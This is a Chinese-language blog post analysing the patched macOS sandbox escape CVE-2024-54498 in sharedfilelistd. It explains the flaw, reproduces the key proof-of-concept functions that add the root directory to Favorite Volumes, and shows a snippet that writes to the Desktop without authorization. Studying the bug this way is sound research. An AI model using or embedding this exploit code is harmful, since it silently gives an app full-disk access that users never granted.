前两天看到github有公开一个mac的cve,影响了15.2以下的版本,刚好我也用的mac,看看会不会影响到我,特抽时间看了一下,有搞错的地方麻烦大佬补充修改。
原理:
先说下前情提要,苹果的macos有个沙箱机制,每个应用都只能访问自己独立的沙箱数据,如果需要访问其他数据,比如桌面文件夹,则需要用户手动授权,即唤起一个文件夹选择栏,让用户授权。
而CVE-2024-54498绕过了这个限制,在无需用户授权的情况下也可写入/读取任意文件。
简单研究了下poc,原理很简单,mac系统还有个机制/特性,就是共享文件,进程是sharedfilelistd。
这个进程允许将全盘直接列入共享文件中,从而导致原本应该没有权限的目录被直接取得权限。
复现:
代码很简单,原poc中的关键函数是这样的:
int add_root_dir_to_favorites(void) {
CFStringRef listType = kLSSharedFileListFavoriteVolumes;
LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
if (favoriteVolumesList) {
NSString *path = @"/";
CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
favoriteVolumesList,
kLSSharedFileListItemLast,
NULL,
NULL,
tmpDirURL,
NULL,
NULL
);
if (newItem) {
NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
CFRelease(newItem);
} else {
NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
}
CFRelease(favoriteVolumesList);
} else {
NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
}
return 0;
}
int trigger_exploit(void) {
LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
if (recentItems) {
NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
NSLog(@"items array: %@\n", items);
for (id item in items) {
LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
CFErrorRef errorRef;
CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
NSString *itemPath = [(__bridge NSURL *)itemURL path];
NSLog(@"itemPath: %@", itemPath);
}
CFRelease(recentItems);
} else {
NSLog(@"Failed to retrieve recent items.");
}
return 0;
}
就像原理中说的,它调用了苹果的api让sharedfilelistd进程将根目录直接加入了共享列表中,验证它也很简单,直接尝试写入一个新文件到destop中即可。
NSString *escaped_dir = [NSString stringWithFormat:@"%@/Desktop/exp", userDir];
const char* escaped_contents = "无需申请授权即可访问destop文件夹";
writeFileAtPath(escaped_dir.UTF8String, escaped_contents);
复现视频(视频号视频,请在微信打开链接):
https://weixin.qq.com/sph/ArTMmIcmV
总结:
这个漏洞利用了正常功能点的疏忽导致了另一个意料之外的后果,简单但有效,危害点在于用户无感知地被取得了全盘权限,CVSS评分也来到了8.8,苹果在15.2版本中已修复此漏洞。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容